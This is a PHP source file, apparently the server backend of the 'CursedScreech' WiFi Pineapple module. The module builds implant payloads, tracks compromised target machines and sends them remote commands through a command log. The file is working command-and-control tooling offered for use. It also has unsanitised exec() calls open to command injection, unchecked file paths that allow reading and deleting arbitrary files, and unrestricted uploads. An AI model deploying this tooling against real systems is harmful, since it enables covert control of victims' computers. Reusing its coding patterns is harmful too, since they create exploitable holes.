mirror of
https://github.com/hak5/nano-tetra-modules.git
synced 2025-10-29 16:58:09 +00:00
643 lines
18 KiB
PHP
Executable File
643 lines
18 KiB
PHP
Executable File
<?php
|
|
|
|
namespace pineapple;
|
|
|
|
// Root level includes
|
|
define('__INCLUDES__', "/pineapple/modules/CursedScreech/includes/");
|
|
|
|
// Define to hook into Papers' SSL store
|
|
define('__SSLSTORE__', "/pineapple/modules/Papers/includes/ssl/");
|
|
|
|
// Main directory defines
|
|
define('__FOREST__', __INCLUDES__ . 'forest/');
|
|
define('__SCRIPTS__', __INCLUDES__ . "scripts/");
|
|
define('__HELPFILES__', __INCLUDES__ . "help/");
|
|
define('__CHANGELOGS__', __INCLUDES__ . "changelog/");
|
|
define('__LOGS__', __INCLUDES__ . "errorlogs/");
|
|
define('__TARGETLOGS__', __FOREST__ . "targetlogs/");
|
|
define('__PAYLOADS__', __INCLUDES__ . "payloads/");
|
|
|
|
// API defines
|
|
define('__API_CS__', __INCLUDES__ . "api/cs/");
|
|
define('__API_PY__', __INCLUDES__ . "api/python/");
|
|
define('__API_DL__', __INCLUDES__ . "api/downloads/");
|
|
|
|
// File location defines
|
|
define('__ACTIVITYLOG__', __FOREST__ . 'activity.log');
|
|
define('__SETTINGS__', __FOREST__ . 'settings');
|
|
define('__TARGETS__', __FOREST__ . "targets.log");
|
|
define('__COMMANDLOG__', __FOREST__ . "cmd.log");
|
|
define('__EZCMDS__', __FOREST__ . "ezcmds");
|
|
|
|
|
|
/*
|
|
Move the uploaded file to the payloads directory
|
|
*/
|
|
if (!empty($_FILES)) {
|
|
$response = [];
|
|
foreach ($_FILES as $file) {
|
|
$tempPath = $file[ 'tmp_name' ];
|
|
$name = $file['name'];
|
|
|
|
// Ensure the upload directory exists
|
|
if (!file_exists(__PAYLOADS__)) {
|
|
if (!mkdir(__PAYLOADS__, 0755, true)) {
|
|
$response[$name] = "Failed";
|
|
echo json_encode($response);
|
|
die();
|
|
}
|
|
}
|
|
|
|
$uploadPath = __PAYLOADS__ . $name;
|
|
$res = move_uploaded_file($tempPath, $uploadPath);
|
|
|
|
if ($res) {
|
|
$response[$name] = "Success";
|
|
} else {
|
|
$response[$name] = "Failed";
|
|
}
|
|
}
|
|
echo json_encode($response);
|
|
die();
|
|
}
|
|
|
|
class CursedScreech extends Module {
|
|
public function route() {
|
|
switch ($this->request->action) {
|
|
case 'init':
|
|
$this->init();
|
|
break;
|
|
case 'depends':
|
|
$this->depends($this->request->task);
|
|
break;
|
|
case 'loadSettings':
|
|
$this->loadSettings();
|
|
break;
|
|
case 'updateSettings':
|
|
$this->updateSettings($this->request->settings);
|
|
break;
|
|
case 'readLog':
|
|
$this->retrieveLog($this->request->logName, $this->request->type);
|
|
break;
|
|
case 'getLogs':
|
|
$this->getLogs($this->request->type);
|
|
break;
|
|
case 'clearLog':
|
|
$this->clearLog($this->request->logName, $this->request->type);
|
|
break;
|
|
case 'deleteLog':
|
|
$this->deleteLog($this->request->logName, $this->request->type);
|
|
break;
|
|
case 'startProc':
|
|
$this->startProc($this->request->procName);
|
|
break;
|
|
case 'procStatus':
|
|
$this->procStatus($this->request->procName);
|
|
break;
|
|
case 'stopProc':
|
|
$this->stopProc($this->request->procName);
|
|
break;
|
|
case 'loadCertificates':
|
|
if (is_dir(__SSLSTORE__)) {
|
|
$this->loadCertificates();
|
|
} else {
|
|
$this->respond(false, "Papers is not installed. Please enter a path to your keys manually.");
|
|
}
|
|
break;
|
|
case 'loadTargets':
|
|
$this->loadTargets();
|
|
break;
|
|
case 'deleteTarget':
|
|
$this->deleteTarget($this->request->target);
|
|
break;
|
|
case 'sendCommand':
|
|
$this->sendCommand($this->request->command, $this->request->targets);
|
|
break;
|
|
case 'downloadLog':
|
|
$this->downloadLog($this->request->logName, $this->request->logType);
|
|
break;
|
|
case 'loadEZCmds':
|
|
$this->loadEZCmds();
|
|
break;
|
|
case 'saveEZCmds':
|
|
$this->saveEZCmds($this->request->ezcmds);
|
|
break;
|
|
case 'genPayload':
|
|
$this->genPayload($this->request->type);
|
|
break;
|
|
case 'clearDownloads':
|
|
$this->clearDownloads();
|
|
break;
|
|
case 'loadAvailableInterfaces':
|
|
$this->loadAvailableInterfaces();
|
|
break;
|
|
case 'getPayloads':
|
|
$this->getPayloads();
|
|
break;
|
|
case 'deletePayload':
|
|
$this->deletePayload($this->request->filePath);
|
|
break;
|
|
case 'cfgUploadLimit':
|
|
$this->cfgUploadLimit();
|
|
break;
|
|
}
|
|
}
|
|
|
|
/* ============================ */
|
|
/* INIT FUNCTIONS */
|
|
/* ============================ */
|
|
|
|
private function init() {
|
|
if (!file_exists(__LOGS__)) {
|
|
if (!mkdir(__LOGS__, 0755, true)) {
|
|
$this->respond(false, "Failed to create logs directory");
|
|
return false;
|
|
}
|
|
}
|
|
|
|
if (!file_exists(__API_DL__)) {
|
|
if (!mkdir(__API_DL__, 0755, true)) {
|
|
$this->logError("Failed init", "Failed to initialize because the API download directory structure could not be created.");
|
|
$this->respond(false);
|
|
return false;
|
|
}
|
|
}
|
|
}
|
|
|
|
/* ============================ */
|
|
/* DEPENDS FUNCTIONS */
|
|
/* ============================ */
|
|
|
|
private function depends($action) {
|
|
$retData = array();
|
|
|
|
if ($action == "install") {
|
|
exec(__SCRIPTS__ . "installDepends.sh", $retData);
|
|
if (implode(" ", $retData) == "Complete") {
|
|
$this->respond(true);
|
|
return true;
|
|
} else {
|
|
$this->respond(false);
|
|
return false;
|
|
}
|
|
} else if ($action == "remove") {
|
|
exec(__SCRIPTS__ . "removeDepends.sh");
|
|
$this->respond(true);
|
|
return true;
|
|
} else if ($action == "check") {
|
|
exec(__SCRIPTS__ . "checkDepends.sh", $retData);
|
|
if (implode(" ", $retData) == "Installed") {
|
|
$this->respond(true);
|
|
return true;
|
|
} else {
|
|
$this->respond(false);
|
|
return false;
|
|
}
|
|
}
|
|
}
|
|
|
|
/* ============================ */
|
|
/* SETTINGS FUNCTIONS */
|
|
/* ============================ */
|
|
|
|
private function loadSettings(){
|
|
$configs = array();
|
|
$config_file = fopen(__SETTINGS__, "r");
|
|
if ($config_file) {
|
|
while (($line = fgets($config_file)) !== false) {
|
|
$item = explode("=", $line);
|
|
$key = $item[0]; $val = trim($item[1]);
|
|
$configs[$key] = $val;
|
|
}
|
|
}
|
|
fclose($config_file);
|
|
$this->respond(true, null, $configs);
|
|
return $configs;
|
|
}
|
|
|
|
private function updateSettings($settings) {
|
|
// Load the current settings from file
|
|
$configs = $this->loadSettings();
|
|
|
|
// Update the current list. We do it this way so only the requested
|
|
// settings are updated. Probably not necessary but whatevs.
|
|
foreach ($settings as $k => $v) {
|
|
$configs["$k"] = $v;
|
|
}
|
|
|
|
// Get the serial number of the target's public cert
|
|
$configs['client_serial'] = exec(__SCRIPTS__ . "getCertSerial.sh " . $configs['target_key'] . ".cer");
|
|
$configs['kuro_serial'] = exec(__SCRIPTS__ . "getCertSerial.sh " . $configs['kuro_key'] . ".cer");
|
|
|
|
// Get the IP address of the selected listening interface
|
|
$configs['iface_ip'] = exec(__SCRIPTS__ . "getInterfaceIP.sh " . $configs['iface_name']);
|
|
|
|
// Push the updated settings back out to the file
|
|
$config_file = fopen(__SETTINGS__, "w");
|
|
foreach ($configs as $k => $v) {
|
|
fwrite($config_file, $k . "=" . $v . "\n");
|
|
}
|
|
fclose($config_file);
|
|
|
|
$this->respond(true);
|
|
}
|
|
|
|
/* ============================ */
|
|
/* FOREST FUNCTIONS */
|
|
/* ============================ */
|
|
|
|
private function startProc($procName) {
|
|
if ($procName == "kuro.py") {
|
|
file_put_contents(__ACTIVITYLOG__, "[+] Starting Kuro...\n", FILE_APPEND);
|
|
}
|
|
$cmd = "python " . __FOREST__ . $procName . " > /dev/null 2>&1 &";
|
|
exec($cmd);
|
|
|
|
// Check if the process is running and return it's PID
|
|
if (($pid = $this->getPID($procName)) != "") {
|
|
$this->respond(true, null, $pid);
|
|
return $pid;
|
|
} else {
|
|
$this->logError("Failed_Process", "The following command failed to execute:<br /><br />" . $cmd);
|
|
$this->respond(false);
|
|
return false;
|
|
}
|
|
}
|
|
|
|
private function procStatus($procName) {
|
|
if (($status = $this->getPID($procName)) != "") {
|
|
$this->respond(true, null, $status);
|
|
return true;
|
|
}
|
|
$this->respond(false);
|
|
return false;
|
|
}
|
|
|
|
private function stopProc($procName) {
|
|
// Check if the process is running, if so grab it's PID
|
|
if (($pid = $this->getPID($procName)) == "") {
|
|
$this->respond(true);
|
|
return true;
|
|
}
|
|
|
|
// Kuro requires a special bullet
|
|
if ($procName == "kuro.py") {
|
|
file_put_contents(__ACTIVITYLOG__, "[!] Stopping Kuro...\n", FILE_APPEND);
|
|
exec("echo 'killyour:self' >> " . __COMMANDLOG__);
|
|
} else {
|
|
// Kill the process
|
|
exec("kill " . $pid);
|
|
}
|
|
|
|
// Check one more time if it's still running
|
|
if (($pid = $this->getPID($procName)) == "") {
|
|
$this->respond(true);
|
|
return true;
|
|
}
|
|
$this->respond(false);
|
|
return false;
|
|
}
|
|
|
|
private function getPID($procName) {
|
|
$data = array();
|
|
exec("pgrep -lf " . $procName, $data);
|
|
$output = explode(" ", $data[0]);
|
|
if (strpos($output[2], $procName) !== False) {
|
|
return $output[0];
|
|
}
|
|
return false;
|
|
}
|
|
|
|
private function loadTargets() {
|
|
$targets = array();
|
|
$fh = fopen(__TARGETS__, "r");
|
|
if ($fh) {
|
|
while (($line = fgets($fh)) !== False) {
|
|
array_push($targets, rtrim($line, "\n"));
|
|
}
|
|
} else {
|
|
$this->respond(false, "Failed to open " . __TARGETS__);
|
|
return false;
|
|
}
|
|
fclose($fh);
|
|
$this->respond(true, null, $targets);
|
|
return $targets;
|
|
}
|
|
|
|
private function deleteTarget($target) {
|
|
$targetFile = explode("\n", file_get_contents(__TARGETS__));
|
|
$key = array_search($target, $targetFile, true);
|
|
if ($key !== False) {
|
|
unset($targetFile[$key]);
|
|
}
|
|
|
|
$fh = fopen(__TARGETS__, "w");
|
|
fwrite($fh, implode("\n", $targetFile));
|
|
fclose($fh);
|
|
|
|
$this->respond(true);
|
|
return true;
|
|
}
|
|
|
|
private function sendCommand($cmd, $targets) {
|
|
if (count($targets) == 0) {
|
|
$this->respond(false);
|
|
return;
|
|
}
|
|
|
|
$output = "";
|
|
foreach ($targets as $target) {
|
|
$output .= $cmd . ":" . $target . "\n";
|
|
}
|
|
$fh = fopen(__COMMANDLOG__, "w");
|
|
if ($fh) {
|
|
fwrite($fh, $output);
|
|
fclose($fh);
|
|
$this->respond(true);
|
|
return true;
|
|
} else {
|
|
$this->respond(false);
|
|
return false;
|
|
}
|
|
}
|
|
|
|
private function downloadLog($logName, $type) {
|
|
$dir = ($type == "forest") ? __FOREST__ : (($type == "targets") ? __TARGETLOGS__ : "");
|
|
if (file_exists($dir . $logName)) {
|
|
$this->respond(true, null, $this->downloadFile($dir . $logName));
|
|
return true;
|
|
}
|
|
$this->respond(false);
|
|
return false;
|
|
}
|
|
|
|
private function genPayload($type) {
|
|
if ($type == "python") {
|
|
$dir = __API_PY__;
|
|
$payload = "payload.py";
|
|
$api = "PineappleModules.py";
|
|
$zip = "Python_Payload.zip";
|
|
} else if ($type == "cs") {
|
|
$dir = __API_CS__;
|
|
$payload = "payload.cs";
|
|
$api = "PineappleModules.cs";
|
|
$zip = "CS_Payload.zip";
|
|
} else if ($type == "cs_auth") {
|
|
$dir = __API_CS__;
|
|
$payload = "payloadAuth.cs";
|
|
$api = "PineappleModules.cs";
|
|
$zip = "CS_Auth_Payload.zip";
|
|
} else {
|
|
return null;
|
|
}
|
|
$template = "template/" . $payload;
|
|
|
|
// Get the configs so we can push them to the payload template
|
|
$configs = $this->loadSettings();
|
|
|
|
// Copy the contents of the payload template and add our configs
|
|
$contents = file_get_contents($dir . $template);
|
|
$contents = str_replace("IPAddress", $configs['mcast_group'], $contents);
|
|
$contents = str_replace("mcastport", $configs['mcast_port'], $contents);
|
|
$contents = str_replace("hbinterval", $configs['hb_interval'], $contents);
|
|
|
|
// The format of the serial number in the C# payload differs from that in the
|
|
// Python payload. Therefore, we need this check here.
|
|
if ($type == "python") {
|
|
$contents = str_replace("serial", $configs['kuro_serial'], $contents);
|
|
$contents = str_replace("publicKey", end(explode("/", $configs['target_key'])) . ".cer", $contents);
|
|
$contents = str_replace("kuroKey", end(explode("/", $configs['kuro_key'])) . ".cer", $contents);
|
|
$contents = str_replace("privateKey", end(explode("/", $configs['target_key'])) . ".pem", $contents);
|
|
} else {
|
|
$contents = str_replace("serial", exec(__SCRIPTS__ . "bigToLittleEndian.sh " . $configs['kuro_serial']), $contents);
|
|
|
|
// This part seems confusing but the fingerprint is returned from the script in the following format:
|
|
// Fingerprint=AB:CD:EF:12:34:56:78:90
|
|
// And the C# payload requires it to be in the following format: ABCDEF1234567890
|
|
// Therefore we explode the returned data into an array, keep only the second element, then run a str_replace on all ':' characters
|
|
|
|
$ret = exec(__SCRIPTS__ . "getFingerprint.sh " . $configs['kuro_key'] . ".cer");
|
|
$fingerprint = implode("", explode(":", explode("=", $ret)[1]));
|
|
$contents = str_replace("fingerprint", $fingerprint, $contents);
|
|
$contents = str_replace("privateKey", "Payload." . end(explode("/", $configs['target_key'])) . ".pfx", $contents);
|
|
}
|
|
|
|
// Write the changes to the payload file
|
|
$fh = fopen($dir . $payload, "w");
|
|
fwrite($fh, $contents);
|
|
fclose($fh);
|
|
|
|
// Archive the directory
|
|
$files = implode(" ", array($payload, $api, "Documentation.pdf"));
|
|
|
|
// Command: ./packPayload.sh $dir -o $zip -f $files
|
|
exec(__SCRIPTS__ . "packPayload.sh " . $dir . " -o " . $zip . " -f \"" . $files . "\"");
|
|
|
|
// Check if a file exists in the downloads directory
|
|
if (count(scandir(__API_DL__)) > 2) {
|
|
$this->respond(true, null, $this->downloadFile(__API_DL__ . $zip));
|
|
return true;
|
|
}
|
|
$this->respond(false);
|
|
return false;
|
|
}
|
|
|
|
private function clearDownloads() {
|
|
$files = scandir(__API_DL__);
|
|
$success = true;
|
|
foreach ($files as $file) {
|
|
if (substr($file, 0, 1) == ".") {continue;}
|
|
if (!unlink(__API_DL__ . $file)) {
|
|
$success = false;
|
|
}
|
|
}
|
|
$this->respond($success);
|
|
return $success;
|
|
}
|
|
|
|
private function loadAvailableInterfaces() {
|
|
$data = array();
|
|
exec(__SCRIPTS__ . "getListeningInterfaces.sh", $data);
|
|
if ($data == NULL) {
|
|
$this->logError("Load_Interfaces_Error", "Failed to load available interfaces for 'Listening Interface' dropdown. Either the getListneingInterfaces.sh script failed or none of your interfaces have an IP address associated with them.");
|
|
$this->respond(false);
|
|
}
|
|
$this->respond(true, null, $data);
|
|
}
|
|
|
|
//=========================//
|
|
// PAYLOAD FUNCTIONS //
|
|
//=========================//
|
|
|
|
private function getPayloads() {
|
|
$files = [];
|
|
|
|
foreach (scandir(__PAYLOADS__) as $file) {
|
|
if (substr($file, 0, 1) == ".") {continue;}
|
|
$files[$file] = __PAYLOADS__;
|
|
}
|
|
$this->respond(true, null, $files);
|
|
return $files;
|
|
}
|
|
|
|
private function deletePayload($filePath) {
|
|
if (!unlink($filePath)) {
|
|
$this->logError("Delete Payload", "Failed to delete payload at path " . $filePath);
|
|
$this->respond(false);
|
|
return false;
|
|
}
|
|
$this->respond(true);
|
|
return true;
|
|
}
|
|
|
|
private function cfgUploadLimit() {
|
|
$data = array();
|
|
$res = exec("python " . __SCRIPTS__ . "cfgUploadLimit.py > /dev/null 2>&1 &", $data);
|
|
if ($res != "") {
|
|
$this->logError("cfg_upload_limit_error", $data);
|
|
$this->respond(false);
|
|
return false;
|
|
}
|
|
$this->respond(true);
|
|
return true;
|
|
}
|
|
|
|
/* ============================ */
|
|
/* EZ CMD FUNCTIONS */
|
|
/* ============================ */
|
|
|
|
private function loadEZCmds() {
|
|
$contents = explode("\n", file_get_contents(__EZCMDS__));
|
|
$cmdDict = array();
|
|
foreach ($contents as $line) {
|
|
$cmd = explode(":", $line, 2);
|
|
$name = $cmd[0]; $action = $cmd[1];
|
|
$cmdDict[$name] = $action;
|
|
}
|
|
$this->respond(true, null, $cmdDict);
|
|
return $cmdDict;
|
|
}
|
|
|
|
private function saveEZCmds($cmds) {
|
|
$fh = fopen(__EZCMDS__, "w");
|
|
if (!$fh) {
|
|
$this->respond(false);
|
|
return false;
|
|
}
|
|
foreach ($cmds as $k => $v) {
|
|
fwrite($fh, $k . ":" . $v . "\n");
|
|
}
|
|
fclose($fh);
|
|
}
|
|
|
|
/* ============================ */
|
|
/* MISCELLANEOUS */
|
|
/* ============================ */
|
|
|
|
private function respond($success, $msg = null, $data = null, $error = null) {
|
|
$this->response = array("success" => $success,"message" => $msg, "data" => $data, "error" => $error);
|
|
}
|
|
|
|
/* ============================ */
|
|
/* LOG FUNCTIONS */
|
|
/* ============================ */
|
|
private function getLogs($type) {
|
|
$dir = ($type == "error") ? __LOGS__ : (($type == "targets") ? __TARGETLOGS__ : __CHANGELOGS__);
|
|
$contents = array();
|
|
foreach (scandir($dir) as $log) {
|
|
if (substr($log, 0, 1) == ".") {continue;}
|
|
array_push($contents, $log);
|
|
}
|
|
$this->respond(true, null, $contents);
|
|
}
|
|
|
|
private function retrieveLog($logname, $type) {
|
|
$dir = ($type == "error") ? __LOGS__ : (($type == "help") ? __HELPFILES__ : (($type == "forest") ? __FOREST__ : (($type == "targets") ? __TARGETLOGS__ : __CHANGELOGS__)));
|
|
$data = file_get_contents($dir . $logname);
|
|
if (!$data) {
|
|
$this->respond(true, null, "");
|
|
return;
|
|
}
|
|
$this->respond(true, null, $data);
|
|
}
|
|
|
|
private function clearLog($log,$type) {
|
|
$dir = ($type == "forest") ? __FOREST__ : (($type == "targets") ? __TARGETLOGS__ : "");
|
|
$fh = fopen($dir . $log, "w");
|
|
fclose($fh);
|
|
$this->respond(true);
|
|
}
|
|
|
|
private function deleteLog($logname, $type) {
|
|
$dir = ($type == "error") ? __LOGS__ : (($type == "targets") ? __TARGETLOGS__ : __CHANGELOGS__);
|
|
$res = unlink($dir . $logname);
|
|
if (!$res) {
|
|
$this->respond(false, "Failed to delete log.");
|
|
return;
|
|
}
|
|
$this->respond(true);
|
|
}
|
|
|
|
private function logError($filename, $data) {
|
|
$time = exec("date +'%H_%M_%S'");
|
|
$fh = fopen(__LOGS__ . str_replace(" ","_",$filename) . "_" . $time . ".txt", "w+");
|
|
fwrite($fh, $data);
|
|
fclose($fh);
|
|
}
|
|
|
|
/* ===================================================== */
|
|
/* KEY FUNCTIONS TO INTERFACE WITH PAPERS */
|
|
/* ===================================================== */
|
|
|
|
private function loadCertificates() {
|
|
$certs = $this->getKeys(__SSLSTORE__);
|
|
$this->respond(true,null,$certs);
|
|
}
|
|
|
|
private function getKeys($dir) {
|
|
$keyType = "TLS/SSL";
|
|
$keys = scandir($dir);
|
|
$certs = array();
|
|
foreach ($keys as $key) {
|
|
if (substr($key, 0, 1) == ".") {continue;}
|
|
|
|
$parts = explode(".", $key);
|
|
$fname = $parts[0];
|
|
$type = "." . $parts[1];
|
|
|
|
// Check if the object name already exists in the array
|
|
if ($this->objNameExistsInArray($fname, $certs)) {
|
|
foreach ($certs as &$obj) {
|
|
if ($obj->Name == $fname) {
|
|
$obj->Type .= ", " . $type;
|
|
}
|
|
}
|
|
} else {
|
|
// Add a new object to the array
|
|
$enc = ($this->keyIsEncrypted($fname)) ? "Yes" : "No";
|
|
array_push($certs, (object)array('Name' => $fname, 'Type' => $type, 'Encrypted' => $enc, 'KeyType' => $keyType));
|
|
}
|
|
}
|
|
return $certs;
|
|
}
|
|
|
|
private function objNameExistsInArray($name, $arr) {
|
|
foreach ($arr as $x) {
|
|
if ($x->Name == $name) {
|
|
return True;
|
|
}
|
|
}
|
|
return False;
|
|
}
|
|
|
|
private function keyIsEncrypted($keyName) {
|
|
$data = array();
|
|
$keyDir = __SSLSTORE__;
|
|
exec(__SCRIPTS__ . "testEncrypt.sh -k " . $keyName . " -d " . $keyDir . " 2>&1", $data);
|
|
if ($data[0] == "writing RSA key") {
|
|
return false;
|
|
} else if ($data[0] == "unable to load Private Key") {
|
|
return true;
|
|
}
|
|
}
|
|
} |